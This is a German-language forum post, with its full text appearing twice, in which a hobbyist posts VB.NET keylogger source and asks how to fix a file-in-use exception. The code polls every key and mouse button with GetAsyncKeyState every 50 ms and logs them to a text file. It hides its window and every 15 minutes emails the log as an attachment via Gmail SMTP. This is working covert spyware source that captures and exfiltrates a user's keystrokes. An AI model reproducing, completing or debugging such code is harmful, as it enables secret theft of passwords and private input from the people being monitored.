Hallo
ich habe mich heute mal an einem key logger probiert. hat so weit auch ganz gut geklappt jetzt hab ich aber ein problem:
ich habe den key logger angewiesen die, in eine txt datei geschriebenen daten per email mit anhang zu schicken. das klappt auch einwandfrei aber danach wenn der timer1
wieder anfangen soll zu ticken kommt eine ausnahme vom typ IOexception und er markt die erste zeile der timer1 sub routine an: der prozess kann nicht auf die datei zugreifen da sie von einem anderen verwendet wird. hab schon einiges versucht aber ich habs nicht geschafft ihm das auszureden. jetzt ist meine frage wie stell ich das ab??
1. teil des quelltexts sind deklarationen. die musst ich weglassen wegen der zeichenlänge.
ist mein erster post also bidde nich ärgern wenn was falsch is
Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tic
If CBool(GetAsyncKeyState(VK_LBUTTON) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", vbCrLf & "Linke Maustaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_RBUTTON) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Rechte Maustaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_MBUTTON) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Mittlere Maustaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_BACK) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Backspace" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_TAB) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "TAB" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_CLEAR) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Numpad 5" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_RETURN) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Enter" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_SHIFT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", vbCrLf & "Shift" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_MENU) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Alt" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_PAUSE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Pause/Unterbrechen" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_CAPITAL) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Feststelltaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_ESCAPE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Esc" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_PRIOR) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Bild hoch" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_NEXT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Bild runter" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_END) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Ende" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_HOME) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Pos1" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_LEFT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Linke Pfeiltaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_RIGHT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Rechte Maustaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_UP) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Obere Pfeiltaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_DOWN) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Untere Pfeiltaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_SNAPSHOT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Drucken/S-Abf" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_INSERT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Einfügen" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_DELETE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Entfernen" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_HELP) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Hilfe" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_0) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "0", True / False)
End If
If CBool(GetAsyncKeyState(VK_1) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "1", True / False)
End If
If CBool(GetAsyncKeyState(VK_2) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "2", True / False)
End If
If CBool(GetAsyncKeyState(VK_3) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "3", True / False)
End If
If CBool(GetAsyncKeyState(VK_4) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "4", True / False)
End If
If CBool(GetAsyncKeyState(VK_5) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "5", True / False)
End If
If CBool(GetAsyncKeyState(VK_6) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "6", True / False)
End If
If CBool(GetAsyncKeyState(VK_7) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "7", True / False)
End If
If CBool(GetAsyncKeyState(VK_8) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "8", True / False)
End If
If CBool(GetAsyncKeyState(VK_9) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "9", True / False)
End If
If CBool(GetAsyncKeyState(VK_A) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "A", True / False)
End If
If CBool(GetAsyncKeyState(VK_B) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "B", True / False)
End If
If CBool(GetAsyncKeyState(VK_C) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "C", True / False)
End If
If CBool(GetAsyncKeyState(VK_D) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "D", True / False)
End If
If CBool(GetAsyncKeyState(VK_E) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "E", True / False)
End If
If CBool(GetAsyncKeyState(VK_F) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "F", True / False)
End If
If CBool(GetAsyncKeyState(VK_G) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "G", True / False)
End If
If CBool(GetAsyncKeyState(VK_H) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "H", True / False)
End If
If CBool(GetAsyncKeyState(VK_I) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "I", True / False)
End If
If CBool(GetAsyncKeyState(VK_J) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "J", True / False)
End If
If CBool(GetAsyncKeyState(VK_K) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "K", True / False)
End If
If CBool(GetAsyncKeyState(VK_L) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "L", True / False)
End If
If CBool(GetAsyncKeyState(VK_M) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "M", True / False)
End If
If CBool(GetAsyncKeyState(VK_N) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "N", True / False)
End If
If CBool(GetAsyncKeyState(VK_O) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "O", True / False)
End If
If CBool(GetAsyncKeyState(VK_P) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "P", True / False)
End If
If CBool(GetAsyncKeyState(VK_Q) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Q", True / False)
End If
If CBool(GetAsyncKeyState(VK_R) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "R", True / False)
End If
If CBool(GetAsyncKeyState(VK_S) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "S", True / False)
End If
If CBool(GetAsyncKeyState(VK_T) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "T", True / False)
End If
If CBool(GetAsyncKeyState(VK_U) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "U", True / False)
End If
If CBool(GetAsyncKeyState(VK_V) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "V", True / False)
End If
If CBool(GetAsyncKeyState(VK_W) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "W", True / False)
End If
If CBool(GetAsyncKeyState(VK_X) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "X", True / False)
End If
If CBool(GetAsyncKeyState(VK_Y) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Y", True / False)
End If
If CBool(GetAsyncKeyState(VK_Z) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Z", True / False)
End If
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
ShowInTaskbar = False
Opacity = 0%
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
If CBool(GetAsyncKeyState(VK_SPACE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", " ", True / False)
End If
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Dim mail As New MailMessage
Dim att As Attachment = Nothing
Try
mail.From = New MailAddress("meine mail")
mail.To.Add("meine mail")
mail.Subject = "Key Logger Daten"
mail.Body = "Key Logger Daten"
att = New Attachment("C:\users\Uwe\Desktop\text.txt")
mail.Attachments.Add(att)
Dim smtp As New SmtpClient("smtp.gmail.com")
smtp.Port = 587
smtp.EnableSsl = True
Dim benutzernamestring As String = "mein name"
Dim passwortstring As String = "mein pw"
smtp.Credentials = New System.Net.NetworkCredential(benutzernamestring, passwortstring)
smtp.Send(mail)
MsgBox("Email gesendet.")
Catch ex As Exception
MsgBox("Fehler!")
End Try
End Sub
End Class
Timer 1 und 2 sind auf 50 ms eingestellt timer 3 auf 15 min
vilen dank im voraus
mfg Loud Silence
ich habe mich heute mal an einem key logger probiert. hat so weit auch ganz gut geklappt jetzt hab ich aber ein problem:
ich habe den key logger angewiesen die, in eine txt datei geschriebenen daten per email mit anhang zu schicken. das klappt auch einwandfrei aber danach wenn der timer1
wieder anfangen soll zu ticken kommt eine ausnahme vom typ IOexception und er markt die erste zeile der timer1 sub routine an: der prozess kann nicht auf die datei zugreifen da sie von einem anderen verwendet wird. hab schon einiges versucht aber ich habs nicht geschafft ihm das auszureden. jetzt ist meine frage wie stell ich das ab??
1. teil des quelltexts sind deklarationen. die musst ich weglassen wegen der zeichenlänge.
ist mein erster post also bidde nich ärgern wenn was falsch is
Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tic
If CBool(GetAsyncKeyState(VK_LBUTTON) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", vbCrLf & "Linke Maustaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_RBUTTON) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Rechte Maustaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_MBUTTON) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Mittlere Maustaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_BACK) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Backspace" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_TAB) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "TAB" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_CLEAR) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Numpad 5" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_RETURN) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Enter" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_SHIFT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", vbCrLf & "Shift" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_MENU) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Alt" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_PAUSE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Pause/Unterbrechen" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_CAPITAL) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Feststelltaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_ESCAPE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Esc" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_PRIOR) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Bild hoch" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_NEXT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Bild runter" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_END) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Ende" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_HOME) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Pos1" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_LEFT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Linke Pfeiltaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_RIGHT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Rechte Maustaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_UP) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Obere Pfeiltaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_DOWN) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Untere Pfeiltaste" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_SNAPSHOT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Drucken/S-Abf" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_INSERT) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Einfügen" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_DELETE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Entfernen" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_HELP) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Hilfe" & vbCrLf, True / False)
End If
If CBool(GetAsyncKeyState(VK_0) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "0", True / False)
End If
If CBool(GetAsyncKeyState(VK_1) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "1", True / False)
End If
If CBool(GetAsyncKeyState(VK_2) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "2", True / False)
End If
If CBool(GetAsyncKeyState(VK_3) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "3", True / False)
End If
If CBool(GetAsyncKeyState(VK_4) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "4", True / False)
End If
If CBool(GetAsyncKeyState(VK_5) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "5", True / False)
End If
If CBool(GetAsyncKeyState(VK_6) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "6", True / False)
End If
If CBool(GetAsyncKeyState(VK_7) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "7", True / False)
End If
If CBool(GetAsyncKeyState(VK_8) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "8", True / False)
End If
If CBool(GetAsyncKeyState(VK_9) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "9", True / False)
End If
If CBool(GetAsyncKeyState(VK_A) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "A", True / False)
End If
If CBool(GetAsyncKeyState(VK_B) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "B", True / False)
End If
If CBool(GetAsyncKeyState(VK_C) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "C", True / False)
End If
If CBool(GetAsyncKeyState(VK_D) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "D", True / False)
End If
If CBool(GetAsyncKeyState(VK_E) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "E", True / False)
End If
If CBool(GetAsyncKeyState(VK_F) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "F", True / False)
End If
If CBool(GetAsyncKeyState(VK_G) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "G", True / False)
End If
If CBool(GetAsyncKeyState(VK_H) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "H", True / False)
End If
If CBool(GetAsyncKeyState(VK_I) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "I", True / False)
End If
If CBool(GetAsyncKeyState(VK_J) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "J", True / False)
End If
If CBool(GetAsyncKeyState(VK_K) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "K", True / False)
End If
If CBool(GetAsyncKeyState(VK_L) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "L", True / False)
End If
If CBool(GetAsyncKeyState(VK_M) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "M", True / False)
End If
If CBool(GetAsyncKeyState(VK_N) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "N", True / False)
End If
If CBool(GetAsyncKeyState(VK_O) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "O", True / False)
End If
If CBool(GetAsyncKeyState(VK_P) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "P", True / False)
End If
If CBool(GetAsyncKeyState(VK_Q) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Q", True / False)
End If
If CBool(GetAsyncKeyState(VK_R) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "R", True / False)
End If
If CBool(GetAsyncKeyState(VK_S) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "S", True / False)
End If
If CBool(GetAsyncKeyState(VK_T) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "T", True / False)
End If
If CBool(GetAsyncKeyState(VK_U) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "U", True / False)
End If
If CBool(GetAsyncKeyState(VK_V) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "V", True / False)
End If
If CBool(GetAsyncKeyState(VK_W) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "W", True / False)
End If
If CBool(GetAsyncKeyState(VK_X) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "X", True / False)
End If
If CBool(GetAsyncKeyState(VK_Y) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Y", True / False)
End If
If CBool(GetAsyncKeyState(VK_Z) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", "Z", True / False)
End If
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
ShowInTaskbar = False
Opacity = 0%
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
If CBool(GetAsyncKeyState(VK_SPACE) And &H8000) Then
My.Computer.FileSystem.WriteAllText("C:\users\Uwe\Desktop\text.txt", " ", True / False)
End If
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Dim mail As New MailMessage
Dim att As Attachment = Nothing
Try
mail.From = New MailAddress("meine mail")
mail.To.Add("meine mail")
mail.Subject = "Key Logger Daten"
mail.Body = "Key Logger Daten"
att = New Attachment("C:\users\Uwe\Desktop\text.txt")
mail.Attachments.Add(att)
Dim smtp As New SmtpClient("smtp.gmail.com")
smtp.Port = 587
smtp.EnableSsl = True
Dim benutzernamestring As String = "mein name"
Dim passwortstring As String = "mein pw"
smtp.Credentials = New System.Net.NetworkCredential(benutzernamestring, passwortstring)
smtp.Send(mail)
MsgBox("Email gesendet.")
Catch ex As Exception
MsgBox("Fehler!")
End Try
End Sub
End Class
Timer 1 und 2 sind auf 50 ms eingestellt timer 3 auf 15 min
vilen dank im voraus
mfg Loud Silence